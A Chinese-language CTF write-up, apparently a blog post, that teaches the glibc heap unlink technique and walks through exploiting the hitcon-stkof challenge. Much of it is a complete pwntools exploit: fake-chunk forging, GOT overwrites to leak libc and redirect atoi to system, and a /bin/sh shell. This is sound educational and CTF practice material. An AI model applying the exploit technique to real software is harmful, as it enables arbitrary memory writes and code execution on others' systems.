【PWN】记一次unlink学习


unlink作为一种堆攻击技巧,直接能实现的效果就是,将一块内存区域的内容改为其地址往前3个单位。在32位上,一个单位是4字节,在64位上是8字节。而且该地址必须指向伪造的freechunk


long long* ptr;ptr = &ptr - 3;


看到这,我当时就觉得这个技术怎么这么鸡肋。。


后来才发现,这个技巧在CTF里面是灰常强的。


CTF里面,经常会给你申请一些内存,然后这些内存的指针放在BSS段,通过这些指针可以对内存增删查改。比如说可以创建一些留言(malloc一堆字符串),然后指向这些留言的指针放在BSS段的一个数组里面。


 仔细想一想,是不是发现了什么不得了的东西???


 如果把存在BSS的指针改为其地址往前三个单位,那么我们就可以对BSS段增删查改了!!而使用这个功能把BSS段指针数组修改一下,我们就可以进行任意地址写,任意地址读了!!概括一下就说把堆地址改为了一个BSS段地址。
如何触发unlink?

接下来的部分涉及到ptmalloc的一些实现,网上教程一大把,就不展开写了,接下来得懂ptmalloc的chunk结构和free的执行过程。

free的大致执行过程:当释放一个smallchunk P,堆管理器会检查内存相邻的前后chunk是否为free状态,如果是,则对前后chunk执行unlink宏。一定要是smallchunk哦,如果是fastchunk会被丢进fastbin,就不执行unlink了。
一个chunk是不是freechunk决定于内存相邻的nextchunk的chunksize字段,如果该字段最低有效位为1(PREV_INUSE被设置chunk为freechunk。PREV_INUSE即下图chunksize后的P比特。
smallchunk的大小范围:
64bit:0x20 - 0x400 32bit:0x10 - 0x200
需要注意的是fastchunk的大小范围和smallchunk有重叠,所以需要申请大于最大fastchunk大小的chunk。

fastchunk的大小范围: 64bit:0x20- 0xc0
32bit:0x10 - 0x60
unlink宏:Set P->fd->bk = P->bkSet P->bk->fd = P->fd.由于P->fd->bk和P->bk->fd 都指向P,所以最终效果也就是Set P->bk->fd = P->fd.P->fd为3个size_t偏移,所以最终效果ptr = &ptr - 3;


攻击前提:存在溢出且可覆盖nextchunk的prevsize和size字段。
触发方法:
申请两个chunk,第一个chunk溢出和伪造freechunk用,溢出指的是覆盖第二个chunk的prevsize和size字段,第二个chunk需为smallchunk,释放第二个chunk的时候就会对第一个chunk执行unlink。
伪造freechunk方法:

1.    确定指向freechunk的指针地址&ptr

2.    伪造prevsize和size,prevsize随便写,size字段即该freechunk的字节数,并设置PREV__INUSE。

3.    设置freechunk的fd为ptr - 0x18 (64bit)

4.    设置freechunk的bk为ptr - 0x10 (64bit)

5.    填充直到nextchunk

6.    在构造完freechunk后,我们还得顺路溢出一下子。记得之前说过,确定一个chunk是否free,取决于nextchunk的PREV_INUSE。所以,我们得保证再溢出两个单位,一个单位存放freechunk的size,一个单位存放nextchunk的size,并设置PREV_INUSE。


Q&A

为何设置fd为ptr - 0x18,bk为ptr - 0x10?


因为堆管理器在释放的时候要对该chunk进行简单安全检查,确保该chunk的确在一个双向循环队列(unsortbin等)中。
P->fd->bk == P and P->bk->fd == P
我们这样设置就可以伪造一种该chunk在队列中的假象。当然在32bit下,fd为ptr - 0x0c,bk为ptr - 0x8。如果不想弄懂,记住就完了。。

CTF实战



hitcon-stkof(buuoj平台可访问)该题是典型的增删查改题。选项1,2,3,4分别对应增改删查。
增:申请一个用户给定的大小,并保存指针到s,s为BSS段的一个数组。


在改的部分存在溢出:


既然已经在增加的部分确定了malloc大小,该函数又允许输入任意长度字符串,即可溢出。
大致思路就有了,申请两个chunk,然后溢出第一个,释放第二个,执行unlink,最终bss段的s数组将被控制,我们可以任意地址写了。
这道题有一个问题就是,任意地址写啥?我们得先泄露一下libc的地址。这里我们看到有一个查功能,但是该功能无法输出s数组指向的内容。

但是strlen还是会被执行。我们可以修改strlen的GOT内容为puts的PLT。最终调用strlen就会调用puts,想输出我们想要的数据。
开始上代码:

先写一些辅助函数
p = process('./stkof', buffer_fill_size=0xffff)def create(length):    p.sendline("1")    p.sendline(str(length))    p.recvuntil('OK')

def edit(index,length,content): p.sendline("2") p.sendline(str(index)) p.sendline(str(length)) p.send(content) p.recvuntil('OK')
def delete(index): p.sendline("3") p.sendline(str(index)) p.recvuntil('OK')

def show(idx): p.sendline("4") p.sendline(str(idx))
然后创建三个堆块,确保第三个为smallchunk,为后续的unlink做准备。
create(0x50)create(0x50)create(0xc0)  # 申请0xc0字节,实际chunk的size为0xc0 + 0x10(添加了chunk头部)gdb.attach(p)


这就是我为啥申请三个堆块的原因,因为申请两个的话,这两个堆块在内存不相邻,导致前面的堆块溢出不到可控的后一个堆块。

可以看到该s数组为从1开始索引,我们想要伪造的chunk在0x602150。
可以想象unlink后该地址内容应该变为0x602138 。
下一步利用改功能伪造chunk,并溢出。
ptr = 0x602150  # 0x602130fakechunk = flat([    0x0,    0x50 | 1,    ptr - 0x18,    ptr - 0x10,    'A' * 0x30,    0x50,    0xd0 ])edit(2,len(fakechunk),fakechunk)

在执行完这一步后,由于nextchunk的PREV_INUSE被清空,该fakechunk将会直接显示位free状态。(两次parseheap地址不同因为我开启了ASLR)。


可以看到黄色的为我们伪造的chunk,红色就是被溢出的nextchunk。


我们再释放nextchunk,执行unlink。


可见地址已经被修改。(注意:从一个堆地址变为了BSS段地址


现在,我们如果使用改功能修改第三个chunk(0x602150),我们就可以直接修改地址0x602138后面的内容,而我们的s数组在0x602140!!这样,我们利用修改第三个chunk的功能,可以修改s数组第一个元素的内容,然后我们再修改第一个元素,就可以任意地址写了。


我们先修改strlen的GOT为puts的PLT。
str_len_got = elf.got['strlen']puts_plt = elf.plt['puts']payload2 = flat([    'A' * 0x10,    str_len_got])edit(2,len(payload2),payload2)payload3 = p64(puts_plt)edit(1,len(payload3),payload3)

执行完以后:


再把第一个元素改为malloc的GOT,看看malloc的地址,根据malloc的偏移确定libc的版本,最终修改atoi的got为system,调用atoi(’/bin/sh‘)即是调用system('/bin/sh');
最终完整exp:

from pwn import *from LibcSearcher import LibcSearcherfrom formatStringExploiter.FormatString import FormatString
os.chdir(os.path.dirname(os.path.abspath(__file__)))REMOTE = Falseif args["REMOTE"]: REMOTE = TrueHOST = "node3.buuoj.cn"PORT = 28623FILE = os.path.splitext("./"+__file__)[0]context.update(arch = 'amd64', os = 'linux', timeout = 100, log_level='debug' )elf = ELF(FILE)if REMOTE: p = remote(HOST, PORT,buffer_fill_size=0xffff)else: context.terminal = ['tmux', 'splitw', '-h'] p = process(FILE, buffer_fill_size=0xffff)
edit_addr = 0x4009E8create_addr = 0x400936delete_addr = 0x400B07break_points = [
]s = 0x602140# gdb.attach(p,"""# b *{0}# display /4xg {s}# """.format(edit_addr,s=s))# pause()

def create(length): p.sendline("1") p.sendline(str(length)) p.recvuntil('OK')

def edit(index,length,content): p.sendline("2") p.sendline(str(index)) p.sendline(str(length)) p.send(content) p.recvuntil('OK')
def delete(index): p.sendline("3") p.sendline(str(index)) p.recvuntil('OK')

def show(idx): p.sendline("4") p.sendline(str(idx))
create(0x50)create(0x50)create(0xc0)
ptr = 0x602150 # 0x602130fakechunk = flat([ 0x0, 0x50 | 1, ptr - 0x18, ptr - 0x10, 'A' * 0x30, 0x50, 0xd0 ])edit(2,len(fakechunk),fakechunk)
delete(3)

str_len_got = elf.got['strlen']puts_plt = elf.plt['puts']payload2 = flat([ 'A' * 0x10, str_len_got])edit(2,len(payload2),payload2)payload3 = p64(puts_plt)edit(1,len(payload3),payload3)

atoi_got = elf.got['malloc']payload4 = flat([ 'A' * 0x10, p64(atoi_got)])edit(2,len(payload4),payload4)# p.recvuntil("OK")show(1)recv = p.recvuntil('OK').strip().split('\n')[0]atoi = u64(recv.ljust(8,'\x00'))success("atoi @ %x" % atoi)
search = LibcSearcher('malloc',atoi)one = search.get_one_gadgets()[0]system,_ = search.get_system_and_bin_sh()
payload5 = flat([ 'A' *0x10, elf.got['atoi']])edit(2,len(payload5),payload5)edit(1,8,p64(system))# gdb.attach(p)p.sendline("/bin/sh")p.interactive()# p.interactive()



参考资料:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html




  被过滤了引号的SQL注入如何破?   从一道题入门JAVA反序列化漏洞   你不能不知道的的JWT相关漏洞   CTF学习资料和练习平台收集汇总


©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容